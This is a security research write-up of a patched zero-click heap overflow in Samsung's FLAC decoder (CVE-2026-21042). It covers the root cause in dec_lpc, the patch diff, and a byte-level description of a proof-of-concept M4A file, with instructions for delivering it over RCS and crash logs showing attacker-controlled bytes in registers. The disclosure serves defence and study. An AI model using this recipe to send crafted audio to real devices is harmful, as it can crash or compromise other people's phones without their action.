← Back to insights

The Sound of Silence: A Zero-Click Heap Overflow in Samsung's FLAC Decoder

November 4, 2026

INTRO

Earlier this year, during our security research, we independently discovered a heap buffer overflow vulnerability in Samsung's FLAC decoder. However, Samsung addressed the same vulnerability in its July 2026 security update under CVE-2026-21042, potentially as a result of an internal security discovery. Although the vulnerability had already been patched, we decided to publish our independent research to share the technical details of the root cause, the resulting memory corruption, and our findings on its zero-click attack surface.

The vulnerability is a heap buffer overflow in Samsung's FLAC decoder. A malformed frame can make the decoder copy 32 LPC warmup samples into a buffer sized for one sample. With 32-bit samples, that becomes a 128-byte write into a four-byte sample area, leaving 124 bytes beyond the intended boundary. The aligned-allocation helper requests 40 extra bytes for its own bookkeeping. Conservatively subtracting that entire overhead leaves an 84-byte effective write capability; the exact number of bytes crossing the helper's nominal malloc request depends on alignment and is detailed below.

The bug sits in dec_lpc inside libsavsac.vendor.so, which runs in Samsung's vendor Codec2 service. We reproduced the crash by sending a 762-byte M4A file containing a malformed FLAC track to the target through RCS. The receiving device processed the attachment without the recipient opening it. Its log shows Scudo detecting a corrupted heap chunk, followed by the codec service dying and restarting.

Project Zero's APE research established automatic voice-message transcription in Google Messages as a zero-click audio-decoding attack surface. This write-up relies on that published research for the attack-surface background; our contribution is the end-to-end RCS test showing that the crafted attachment reached and crashed Samsung's FLAC decoder on the tested device.

A second test with the same PoC on a Galaxy A55 running Android 14 also crashed the codec service. Its tombstone captured x0 = 0x4141414141414141: two consecutive 0x41414141 words matching the PoC's controlled warmup pattern. This provides direct runtime evidence that the input-controlled bytes propagated into register state after the overwrite.

Where the vulnerable code runs

The vulnerable function is dec_lpc in libsavsac.vendor.so. This is a large Samsung audio library rather than a FLAC-only component. Its symbol prefixes make the different parts easy to recognize: sflacd_* belongs to the FLAC decoder, saacd_* to AAC, and smp123d_* to MP3. Shared helpers, including the bit reader and aligned allocator used by this bug, are named scmn_*.

Android does not call dec_lpc directly. Samsung exposes the decoder through libcodec2_sec_flacdec.so, a Codec2 wrapper whose main class is C2SecFlacDec. The wrapper loads libsavsac.vendor.so, resolves the exported sflacd_decode entry point, and forwards the FLAC configuration and compressed frames into it.

On the tested device, c2.sec.flac.decoder runs in the vendor Codec2 HAL service, under the mediacodec account:

/vendor/bin/hw/samsung.software.media.c2@1.0-service

That gives the native decode path exercised after the RCS attachment arrived. The MP4 extractor handles the container first, then the selected Codec2 component hands the inner FLAC data to Samsung's library:

trigger32.m4a
    -> MP4 extractor: dfLa configuration + compressed FLAC frame
    -> audio/flac track, with a FLAC header built as csd-0
    -> c2.sec.flac.decoder / C2SecFlacDec
    -> sflacd_decode() in libsavsac.vendor.so
    -> sflacd_dec()
    -> sflacd_dec_frm()
    -> dec_lpc()

Which Codec2 component Android chooses is controlled partly by XML files under /vendor/etc. In this firmware, vendor/etc/media_codecs_c2_sec.xml is Samsung's vendor codec registry. It tells Android which Samsung Codec2 components are available, which MIME types they support, their advertised limits, and their selection rank. It does not contain decoder code; it is the configuration that makes the native component visible to the media framework.

The FLAC entry is:

<MediaCodec name="c2.sec.flac.decoder" type="audio/flac" rank="1">
    <Limit name="channel-count" max="8" />
    <Limit name="sample-rate" ranges="1-655350" />
    <Limit name="bitrate" range="1-21000000" />
</MediaCodec>

The type attribute associates this component with audio/flac. The three Limit entries describe the formats it claims to accept, while rank="1" gives it very high priority because Android sorts codec candidates by ascending rank. An application can still request a different component or use its own decoder, but ordinary framework selection during the tested RCS receive path chose c2.sec.flac.decoder. The codec name in the device log confirms that this was the component that died. Android's codec-list implementation

The blogpost contains the vulnerable library from a Galaxy S24 Ultra (SM-S928B, build S928BXXS6DZF2) and the crash on a Galaxy S23 (SM-S911B) running Android 16 with the 2026-06-05 security patch. All vulnerable-library offsets below belong to the S24 Ultra S928BXXS6DZF2 build. The same functions may be placed at different addresses on another model or firmware version.

The FLAC details that matter

Stream metadata and audio blocks

A raw FLAC stream begins with the fLaC marker, followed by metadata and then audio frames:

fLaC | STREAMINFO | optional metadata | frame | frame | ...

FLAC uses the word “block” in several places, so it helps to pin down what it means here. An audio block is a group of samples carried by one frame. Each channel has its own subframe, and the frame's block size tells the decoder how many samples to expect per channel. STREAMINFO describes the allowed block-size range for the stream, while the block size parsed from the current frame is the value that eventually sizes Samsung's channel buffer.

A normal frame consists of a header, one subframe for each channel, alignment padding, and a trailing CRC-16. The header has its own CRC-8. Samsung checks that header checksum before dispatching the subframe, so the PoC must provide a valid CRC-8. Once dec_lpc starts copying warmup samples, however, memory is already corrupted before the decoder needs the later LPC fields or the frame's final CRC-16.

The PoC contains one 34-byte STREAMINFO block. Its four-byte metadata header is 80 00 00 22: the last-metadata flag is set, the type is STREAMINFO, and the payload length is 34 bytes.

STREAMINFO field Width PoC value and role
Minimum and maximum block size 16 bits each Both 1; the raw extractor's STREAMINFO handler flags this value as invalid
Minimum and maximum frame size 24 bits each Both 0, meaning unknown
Sample rate 20 bits 44,100 Hz
Channels minus one 3 bits 0, giving one channel
Bits per sample minus one 5 bits 31, giving 32-bit samples
Total samples 36 bits 0, meaning unknown
Audio MD5 128 bits All zero, meaning no supplied checksum

Prediction and warmup samples

The overflow comes from a mismatch between two values that are both read from the file:

  • Block size: the number of samples the frame contains per channel.
  • LPC order: the number of earlier samples used by a linear predictor.

FLAC's linear prediction stores a rule for estimating each sample from earlier samples, plus a residual that corrects the estimate. In simplified form:

sample[n] = residual[n] + ((sum of coefficient[i] * sample[n-i]) >> shift)

That rule cannot reconstruct the first few samples because there is no earlier history inside the block. FLAC solves this by storing those initial values directly as warmup samples. Their count is exactly the LPC order. An order-32 subframe therefore begins with 32 raw samples, followed by the predictor coefficients and residual data. FLAC allows LPC orders from 1 through 32. FLAC specification, LPC subframes

For the warmup samples to fit, this relationship must hold:

LPC order <= block size

The PoC deliberately breaks this relationship: it declares a one-sample block, then selects an LPC order of 32. A conforming encoder would never produce that combination, but a decoder still has to reject it safely.

How the subframe selects the decoder

A subframe header contains a zero padding bit, a six-bit type, and a wasted-bits flag:

Six-bit type Encoding Decoder behavior
000000 Constant Repeat one value
000001 Verbatim Read the block as raw samples
001000 to 001100 Fixed prediction Use a built-in predictor of order 0 to 4
1xxxxx LPC Read coefficients from the stream; order is xxxxx + 1

The PoC uses the subframe-header byte 0x7e, which splits into 0 | 111111 | 0. The six-bit type is 0x3f; for an LPC subframe, its lower five bits encode order - 1, so this selects order 32. The final zero clears the wasted-bits flag, leaving the sample width unchanged.

The LPC body then contains:

order * bits_per_sample warmup bits
4-bit coefficient precision field
5-bit signed prediction shift
order predictor coefficients
Rice-coded residual data

For this PoC, the warmup section alone represents 32 * 32 = 1024 bits, or 128 bytes of decoded samples. That first stage is enough to trigger the bug; the decoder does not need to reach the coefficients or residual.

Root cause

Allocation and dispatch use different counts

The problem begins in sflacd_dec_frm, at offset 0x721b8 in the analyzed S24 Ultra build. This function validates the frame header, makes sure there is a buffer for each channel, parses each subframe header, and dispatches the subframe to the appropriate decoder.

In the excerpt below, uVar4 is the parsed frame block size and bVar3 is the channel count. If the existing buffers are too small, the function frees them and allocates one new buffer per channel. The allocation uses uVar4 << 2, so each declared sample gets four bytes.

Function: sflacd_dec_frm (vulnerable build, allocation)

  uVar4 = *(ushort *)(param_2 + 1);
  bVar3 = *(byte *)((long)param_2 + 7);
  if ((*(int *)(param_1 + 0xb0) < (int)(uint)uVar4) || (*(byte *)(param_1 + 0xb4) < bVar3)) {
    blk_free(param_1);
    plVar11 = (long *)(param_1 + 0x70);
    do {
      lVar6 = scmn_malloc_align32((ulong)uVar4 << 2);
      *plVar11 = lVar6;
      if (lVar6 == 0) goto LAB_00172300;
      uVar10 = uVar10 - 1;
      plVar11 = plVar11 + 1;
    } while (uVar10 != 0);
  }

For the PoC, uVar4 is 1. The requested sample area for its single channel is therefore only four bytes. The implementation of scmn_malloc_align32 in libsavscmn.so asks malloc for 40 additional bytes to align the returned pointer and retain the original pointer for free. That helper overhead does not increase the decoder's logical sample capacity, which remains one 32-bit word.

After allocation, the same function parses the subframe header and chooses a handler from a function-pointer table. The fields involved in this call are:

Frame-state offset Value Use
+0x04 16-bit block size Allocation size and dec_lpc's third argument
+0x07 Channel count Number of channel buffers and subframes
+0x09 Subframe type Predictor selection and encoded order
+0x0b Effective sample depth Width of each warmup sample read

The indirect call below passes all the information dec_lpc would need to enforce the missing bound: the effective sample depth, frame block size, subframe type, and destination buffer.

Function: sflacd_dec_frm (vulnerable build, subframe dispatch)

    uVar5 = (*(code *)(&PTR_dec_lpc_00188828)[(int)uVar7])
                      (lVar9,*(undefined1 *)((long)param_2 + 0xb),(short)param_2[1],
                       *(undefined1 *)((long)param_2 + 9),
                       *(undefined8 *)(param_1 + 0x70 + uVar10 * 8));

In other words, this is not a case where the size was lost between layers. dec_lpc receives the block size as its third argument, but the vulnerable implementation never compares it with the LPC order before writing.

The unchecked write

The vulnerable handler is dec_lpc at offset 0x72b60. It derives the encoded order from param_4, the subframe type. Clearing the LPC marker bit leaves order - 1 in uVar8; adding one produces the loop count in uVar1. param_5 points to the channel buffer allocated by sflacd_dec_frm, and param_2 is the sample width used by sflacd_bs_read_s32.

The excerpt keeps the decompiler's variable names. Stack initialization and the later coefficient and residual handling are omitted because neither affects the warmup copy:

Function: dec_lpc (vulnerable build)

  uVar8 = (long)param_4 & 0xffffffffffffffdf;
  uVar1 = uVar8 + 1;
  /* stack initialization omitted */
  iVar7 = (int)uVar8;
  if (-1 < iVar7) {
    uVar8 = uVar1 & 0xffffffff;
    puVar9 = param_5;
    do {
      uVar3 = sflacd_bs_read_s32(param_1,param_2);
      uVar8 = uVar8 - 1;
      *puVar9 = uVar3;
      puVar9 = puVar9 + 1;
    } while (uVar8 != 0);
  }

The third argument, param_3, is the frame block size, yet it never appears in this part of the function. The loop runs uVar1 times, reads one signed warmup sample on each iteration, and advances puVar9 by one 32-bit word. The instruction-level view shows the same post-incrementing store:

Function: dec_lpc (vulnerable build, ARM64)

0x72bd8  bl      sflacd_bs_read_s32
0x72bdc  subs    x24, x24, #1
0x72be4  b.ne    0x72bd0

With the PoC's values, the arithmetic is straightforward:

Intended sample area:    1 * 4 =   4 bytes
Warmup writes:         32 * 4 = 128 bytes
Logical excess:                124 bytes
Helper allocation overhead:     40 bytes
Effective write capability:     84 bytes

The first word fits in the intended sample area. The remaining 31 words, 124 bytes in total, are written beyond it. These are not fixed decoder values: they are the warmup samples read from the frame. The supplied PoC fills them with 0x41414141. The 124-byte figure is the logical overflow relative to the decoder's four-byte sample area. If the helper's entire 40-byte over-allocation is treated as slack, the conservative effective write capability is 124 - 40 = 84 controlled bytes.

For this loop, the excess over the intended sample area is:

overflow_bytes = 4 * max(order - block_size, 0)

The input controls the block size, LPC order, and warmup values. The result is a contiguous write beginning at the channel buffer and moving forward four bytes at a time. The destination itself is not freely chosen. With a positive block size and FLAC's maximum LPC order of 32, the largest excess over the intended sample area is 124 bytes.

Exact aligned-allocation layout

The supplied libsavscmn.so removes the ambiguity around the helper itself. scmn_malloc_align32 at symbol offset 0x1a020 implements the following logic; the names below are cleaned up from the decompiler output:

void *scmn_malloc_align32(size_t n) {
    void *base = malloc(n + 0x28);            // n + 40
    if (base == NULL)
        return NULL;

    void *aligned = (void *)(((uintptr_t)base + 0x27) & ~0x1f);
    ((void **)aligned)[-1] = base;
    return aligned;
}

The matching scmn_mfree_align32 loads the saved pointer from aligned - 8 and passes it to free. The returned sample pointer can therefore be written as:

aligned = align_up(base + 8, 32)

The 40 extra bytes are total helper overhead, not 40 guaranteed bytes after the sample buffer. Depending on the low bits of base, the aligned pointer is 8 through 39 bytes after it. For an n-byte logical sample area, that leaves between 1 and 32 of the helper's extra bytes after the logical buffer:

alignment_offset = aligned - base                  = 8..39 bytes
trailing_helper_slack = 40 - alignment_offset      = 1..32 bytes

This gives three useful measurements for the PoC:

Measurement Controlled bytes Meaning
Logical overflow 124 Bytes written after the decoder's four-byte sample area
Conservative effective write capability 84 124 - 40, treating all explicit helper overhead as if it followed the buffer
Spill beyond the nominal malloc(4 + 40) request 92 to 123 Exact helper layout before accounting for Scudo size-class rounding

The 84-byte number is thus a conservative capability figure, not the literal position of the aligned pointer inside every allocation. Scudo may round the 44-byte request into a larger size class, so static analysis still cannot name the exact neighboring object or the precise number of bytes that crossed the allocator's physical chunk boundary in a particular run. The device captures later in this post resolve the practical question: Scudo reports corrupted chunk metadata on the S23, and the A55 tombstone shows the controlled 0x41414141 pattern in live registers.

The neighboring dec_fixed function, at 0x72cd0, rejects fixed predictor orders above four. That validates the fixed predictor's permitted range, but it does not prove the order fits a frame with fewer samples. The security condition needed here compares the predictor order with the block size, as the patch does.

Why the PoC uses an M4A container

The short answer is: to enable zero-click delivery and bypass block-size inspection in libsflacextractor. Let's take a closer look at how this works.
The same malformed FLAC data is supplied in two forms:

File Size Purpose
trigger32.flac 210 bytes Raw FLAC stream for inspection
trigger32.m4a 762 bytes FLAC in an MP4 container for RCS delivery

Both files carry the same STREAMINFO values, including minimum and maximum block sizes of one. What changes is the parser that handles those bytes before the decoder sees them. The extracted S24 Ultra firmware contains both Samsung's raw-FLAC extractor and its MP4 extractor, so we can follow each route separately.

The raw route goes through system/lib64/extractors/libsflacextractor.so. Its parse_meta_streaminfo_cfi function reads the first two STREAMINFO fields into uVar6 and uVar7. From their positions and later uses, these are the minimum and maximum block sizes. The function only continues with the normal STREAMINFO parsing path when the maximum is nonzero and the minimum is greater than 15:

Function: parse_meta_streaminfo_cfi (raw FLAC extractor)

    uVar6 = (uint)(*(ushort *)(puVar8 + 1) >> 8) | (*(ushort *)(puVar8 + 1) & 0xff00ff) << 8;
    uVar7 = (uint)(*(ushort *)((long)puVar8 + 10) >> 8) |
            (*(ushort *)((long)puVar8 + 10) & 0xff00ff) << 8;
    *(uint *)(param_1 + 0xd0) = uVar6;
    *(uint *)(param_1 + 0xd4) = uVar7;
    if ((uVar7 != 0) && (0xf < uVar6)) {

The PoC sets both fields to 1, so 0xf < uVar6 is false. The handler leaves the rest of the stream information unparsed and returns an error. Its caller, sflacfd_parse_meta, complicates the picture slightly:

Function: sflacfd_parse_meta (raw FLAC extractor)

    iVar6 = (*pcVar8)(param_1,uVar3);
    if ((iVar6 < 0) || (cVar2 < '\0')) break;
  }
  if (*(long *)(param_1 + 0x808) != 0) {
    iVar6 = 0;
  }
  return iVar6;

Because the STREAMINFO handler has already stored a pointer at param_1 + 0x808, this cleanup path can replace the handler's error with zero. That means the minimum-block-size check is clearly present, but this excerpt alone is not enough to claim that SFLACExtractor always rejects the whole raw file at that exact point. We also found no invalid max blocksize string in the extractor binary. For that reason, this write-up does not rely on the exact error message used in the original disclosure.

The M4A route goes through system/lib64/extractors/libsecmp4extractor.so. Its large android::MPEG4Extractor::parseChunk function handles the different MP4 box types. The dfLa case is selected by the four-character code 0x64664c61. For this PoC's 42-byte box, the function skips the four-byte full-box header, writes a fLaC marker at the beginning of a local buffer, and reads the remaining 38 bytes after it:

Function: android::MPEG4Extractor::parseChunk (dfLa case)

        if (uVar75 == 0x64664c61) {
          /* local initialization omitted */
          if (uVar93 == 0x2a) {
            __strncpy_chk2(&local_1e0,&DAT_00107ef9,4,0x2a,5);
            /* read setup omitted */
            lVar89 = (**(code **)(lVar89 + 0x10))(plVar79,uVar91 + 4,(ulong)&local_1e0 | 4,0x26);
            if (0x25 < lVar89) {
              uVar93 = 0x2a;
              lVar89 = *(long *)(local_230 + 0xf0);
              puVar98 = (undefined8 *)&AMEDIAFORMAT_KEY_CSD_0;
              goto LAB_001316b8;
            }
          }
        }

Once the read succeeds, the branch selects AMEDIAFORMAT_KEY_CSD_0 and jumps to the shared metadata assignment:

Function: android::MPEG4Extractor::parseChunk (csd-0 assignment)

LAB_001316b8:
                AMediaFormat_setBuffer(*(undefined8 *)(lVar89 + 8),*puVar98,&local_1e0,uVar93);
                goto LAB_00134f8c;

The resulting csd-0 buffer is a complete 42-byte FLAC header: four bytes for fLaC, four bytes for the metadata-block header, and 34 bytes of STREAMINFO. This branch checks the box length and whether all 38 source bytes were read, but it does not inspect the minimum or maximum block-size fields before passing the buffer onward.

That difference explains why the M4A wrapper matters. The malformed STREAMINFO reaches c2.sec.flac.decoder through the container path, and the crash after RCS receipt confirms the route on the tested device. These findings apply to the S24 Ultra firmware analyzed here; they are not a statement about every Android extractor. The FLAC specification requires STREAMINFO block-size values of at least 16, although a final audio frame may contain fewer samples. The PoC's STREAMINFO fields are therefore invalid by design. FLAC specification, STREAMINFO

Inside the M4A file, dfLa carries the FLAC configuration and mdat carries the single 168-byte compressed frame. The outer file is MP4, but the extractor exposes its inner track as audio/flac; codec selection therefore still ends at Samsung's FLAC component.

The relevant box structure is:

ftyp                         isom, with isom/iso2/mp41 compatibility
moov
  trak / mdia
    hdlr                     audio track (soun)
    minf / stbl
      stsd / fLaC / dfLa     STREAMINFO configuration
      stts                   timing for one sample
      stsc                   one sample per chunk
      stsz                   sample length: 168 bytes
      stco                   offset of the sample in mdat
mdat                         one malformed FLAC frame

In the supplied file, dfLa starts at byte 440 and the frame starts at byte 594. The generator builds the container in two passes because the stco table must contain the final file offset of the sample stored in mdat.

The container does not change the malformed FLAC data. It changes the route that carries that data to the decoder.

Inside the proof of concept

The frame, byte by byte

The PoC generator uses only Python's standard library and emits both versions of the file. After the raw FLAC marker and STREAMINFO, it writes this 168-byte frame:

Frame offset  Bytes                  Meaning
0x00          ff f8                  Sync, reserved bit, fixed blocking strategy
0x02          69                     Block-size code 6; sample-rate code 9
0x03          00                     Mono; sample depth inherited from STREAMINFO
0x04          00                     Frame number 0
0x05          00                     Extended block size: 0 + 1 = 1 sample
0x06          4c                     Header CRC-8
0x07          7e                     LPC subframe, order 32, no wasted bits
0x08          00 00 00 00            Warmup sample 0, inside the sample area
0x0c          41 repeated 124 times  Warmup samples 1 through 31
0x88          00 repeated 32 times   Bytes available for subsequent parsing

Most values of FLAC's four-bit block-size field select a predefined size. Codes 6 and 7 are escape forms: they read an additional eight-bit or sixteen-bit value and add one. The PoC uses code 6 followed by zero, which represents a one-sample block. The other choices keep the frame simple: mono audio, frame number zero, and sample-rate code 9 for 44.1 kHz.

The generator also computes the header CRC-8, using polynomial 0x07 and an initial value of zero. For this header the result is 0x4c. Without that byte, sflacd_vld_fh would reject the frame before it reached dec_lpc. The final 32 zero bytes merely give later parsing room to continue; they do not turn the malformed subframe into valid audio, and they are not needed for the overwrite itself.

Why the frame inherits a 32-bit sample depth

The vulnerable decoder's sample-size lookup at 0x16758 uses these values:

Frame sample-size code Decoder value
0 Inherit the depth from STREAMINFO
1, 2 8 or 12 bits
3 0xff, reserved
4, 5, 6 16, 20, or 24 bits
7 0xff, reserved in this implementation

Samsung treats frame sample-size code 7 as reserved, even though the FLAC specification assigns it to 32-bit samples. The PoC works around that implementation detail by using code zero, which tells the decoder to inherit the value from STREAMINFO, and setting STREAMINFO's bits_per_sample - 1 field to 31. sflacd_vld_sfh then passes a width of 32 bits to dec_lpc.

sflacd_bs_read_s32, at offset 0x72e50 in the vulnerable S24 Ultra build, reads a signed value at the chosen width. The destination store is always 32 bits wide. With 16-bit or 24-bit input, the upper part of each stored word is determined by sign extension; with a 32-bit input, all four bytes come from the file. The device test used this fully controlled 32-bit form.

Mapping file bytes to heap bytes

FLAC samples are read most significant bit first, while the ARM64 target stores the words in little-endian order. For example:

File bytes:    44 43 42 41
Sample value:  0x44434241
Heap bytes:    41 42 43 44

The generator performs this byte swap when it turns PAYLOAD into warmup samples, so PAYLOAD can be written in the order expected in memory. By default, the first in-bounds sample is zero and all 31 out-of-bounds samples are 0x41414141.

Sample k begins at frame offset 8 + 4*k and is stored at buffer offset 4*k. The excess therefore comes from frame bytes 12 through 135 and lands at buffer offsets 4 through 127, inclusive.

Generator setting Default Effect
BLOCKSIZE 1 Requested sample capacity and block-size metadata
LPC_ORDER 32 Number of warmup writes
BPS 32 Number of input bits controlling each stored word
PAYLOAD 124 bytes of 0x41 Contents written beyond the intended sample area

The script can also emit 16-bit and 24-bit variants. Those variants still cause four-byte stores, but only part of each word is directly controlled by the input.

The crash on a real device

Reproducing the RCS delivery path

We reproduced the failure by sending trigger32.m4a as an audio attachment through RCS to the Galaxy S23 described above. The recipient did not open or play the attachment. Google Messages processed it automatically after delivery, and the Samsung Codec2 service crashed on the receiving device. The generator can be run again if the files need to be rebuilt:

python3 poc/make_trigger32.py

The supplied files can also be used directly. From another RCS-capable device or account, send trigger32.m4a as an audio attachment in an RCS conversation with the target. Do not open the attachment on the receiving device. The useful signal on a retail receiver is the PID of Samsung's Codec2 service: record it before delivery, then check whether Android restarted the service under a new PID after the attachment arrived.

# On the receiving device, record the service PID before RCS delivery.
adb shell pgrep -f samsung.software.media.c2@1.0-service

# After the attachment arrives, check whether the service restarted.
adb shell pgrep -f samsung.software.media.c2@1.0-service

media.metrics shows which codec handled the incoming track, and logcat captures the allocator and service-death messages:

adb shell dumpsys media.metrics | rg -i flac
adb logcat -d | rg 'Scudo ERROR|tombstoned.*crash request|C2SecFlacDec|Codec2 component .*died'

On the vulnerable path, the codec name is c2.sec.flac.decoder. Seeing that name, a crash request, and a new service PID ties the failure to Samsung's component during automatic processing of the received attachment.

Results

Receiving the crafted M4A through RCS caused the Samsung codec service to die and restart without the recipient opening the attachment. The log identifies c2.sec.flac.decoder immediately before Scudo reports the corrupted chunk header.

Device log showing c2.sec.flac.decoder activity, a Scudo corrupted chunk header error, and a crash request for PID 13059.

Scudo reports a corrupted chunk header, followed by a crash request for the same process.

The key lines in this capture are:

12:05:42.832  scudo (13059): Scudo ERROR: corrupted chunk header at address ...
12:05:42.842  tombstoned: received crash request for pid 13059
12:05:42.853  tombstoned: crash socket received short read of length 0 (expected 12)

Scudo says the affected chunk header is zero and notes memory corruption or a double free as possible causes. Here, the malformed bitstream and the unchecked warmup loop give a direct explanation for the corruption. The capture still does not reveal which allocation was adjacent to the sample buffer, and the retail build did not provide a useful native backtrace.

A separate RCS delivery test produced the following sequence, condensed here:

Before RCS delivery: codec service PID 17486

tombstoned: received crash request for pid 17486
CCodec: Codec2 component "c2.sec.flac.decoder" died.

After restart: codec service PID 21420

tombstoned: received crash request for pid 21420
CCodec: Codec2 component "c2.sec.flac.decoder" died.

After another restart: codec service PID 21778

The crash was not tied to the exact instruction that performed the invalid store. This is consistent with an overwrite that goes unnoticed until a later allocation or free asks Scudo to validate the damaged metadata. The logs establish that automatic processing after RCS delivery reached Samsung's decoder, corrupted the heap, and killed the codec service, though they do not capture the exact allocator operation that finally detected the damage.

Galaxy A55: controlled pattern in registers

We also tested the PoC on a Galaxy A55 running Android 14, build A556EXXS7AYC6. The tombstone identifies the crashed process as /vendor/bin/hw/samsung.software.media.c2@1.0-service, with the codec thread named ec.flac.decoder, and reports SIGBUS with BUS_ADRALN.

Galaxy A55 tombstone showing the Samsung Codec2 service crash and the controlled 0x41 pattern in x0 and x8.

Galaxy A55 crash capture. The controlled 0x41 pattern is visible directly in the register dump.

The most important register value is:

x0 = 0x4141414141414141
     0x41414141 0x41414141

Each 0x41414141 word is four ASCII A bytes, exactly the value used for the PoC's 31 out-of-bounds warmup samples. The adjacent register value x8 = 0x4141414141414149 is numerically x0 + 8, so the controlled pattern is present in pointer-like state at the time of the fault.

The top frame is std::__1::__shared_weak_count::lock()+16, reached from Codec2's InputBufferManager::_unregisterFrameData. This is consistent with the overwrite corrupting an object or pointer that is consumed later during Codec2 cleanup. The capture does not demonstrate program-counter control or a complete code-execution exploit, but it is stronger than a generic crash: it shows the PoC's controlled 0x41414141 data influencing live register values when the service faults.

Comparing the vulnerable and patched libraries

The patched library leaves the surrounding design largely unchanged. sflacd_dec_frm still sizes channel buffers from the frame block size, and scmn_malloc_align32 still adds 40 bytes before aligning the pointer. The meaningful change is at the start of dec_lpc, where Samsung now validates the LPC order before reading or writing any warmup sample.

Location Vulnerable library Patched library
sflacd_dec_frm 0x721b8 0x8d700
dec_lpc 0x72b60 0x8e110
Warmup store 0x72be0 0x8e1a0

The vulnerable build derives the order and immediately enters the warmup loop. The patched build inserts two checks between those steps:

Function: dec_lpc (patched build)

  uVar7 = (long)param_4 & 0xffffffffffffffdf;
  iVar6 = (int)uVar7;
  /* stack initialization omitted */
  if (param_3 <= iVar6) {
    return 0xfffffffb;
  }
  if (0x20 < iVar6) {
    return 0xfffffffb;
  }
  uVar7 = uVar7 + 1;
  if (-1 < iVar6) {
    uVar5 = uVar7 & 0xffffffff;
    puVar8 = param_5;
    do {
      uVar1 = sflacd_bs_read_s32(param_1,param_2);
      uVar5 = uVar5 - 1;
      *puVar8 = uVar1;
      puVar8 = puVar8 + 1;
    } while (uVar5 != 0);
  }

Here, iVar6 is the encoded LPC order minus one and param_3 is the frame block size. The first condition may look off by one at first: param_3 <= iVar6 means block_size <= order - 1, which is the same as order > block_size. When it is true, the function returns 0xfffffffb before touching param_5, the destination buffer. For the PoC, the comparison is 1 against 31, so it fails immediately.

The second check rejects iVar6 values greater than 0x20. A normal six-bit LPC subframe type already limits this value to 31, so this is additional defensive validation. The first comparison is the one that closes the demonstrated overflow.

The ARM64 makes the placement of the fix especially clear. w25 holds order - 1, w2 holds the block size, and the new b.ge branch returns before the warmup call and store:

Function: dec_lpc (patched build, ARM64)

; w25 = order_minus_one, w2 = block_size
0x8e140  and     x25, x8, #0xffffffffffffffdf
0x8e144  mov     w0, #0xfffffffb       ; error result: -5
0x8e148  cmp     w25, w2
         ; stack initialization omitted
0x8e160  b.ge    0x8e258               ; return if order_minus_one >= block_size
0x8e164  cmp     w25, #0x20
0x8e168  b.gt    0x8e258               ; second validation check
         ; warmup-loop setup omitted
0x8e198  bl      sflacd_bs_read_s32
0x8e19c  subs    x24, x24, #1
0x8e1a0  str     w0, [x26], #4

For the PoC, order_minus_one is 31 and block_size is 1. The patched code takes the error branch at 0x8e160, long before the store at 0x8e1a0.

Block size LPC order Vulnerable warmup loop Patched bounds check
1 32 Writes 128 bytes into a 4-byte sample area Rejects
16 32 Writes 128 bytes into a 64-byte sample area Rejects
32 32 Warmup samples fit Allows warmup decoding

The fix addresses the actual invariant instead of relying on an earlier parser to reject this specific file. It also rejects an order-32 subframe in a 16-sample block, a case where the overflow is smaller and may not produce an immediate crash.

POC & References

Artifact Purpose
make_trigger32.py Standalone generator for the two PoC files
trigger32.flac Raw malformed stream, 210 bytes
trigger32.m4a RCS-delivery PoC, 762 bytes
libsavscmn.so ARM64 helper library containing scmn_malloc_align32 and scmn_mfree_align32
libsavsac.vendor.so Vulnerable ARM64 library used for the disassembly
libsavsac.vendor.patched.so Patched ARM64 library used for the comparison

External references: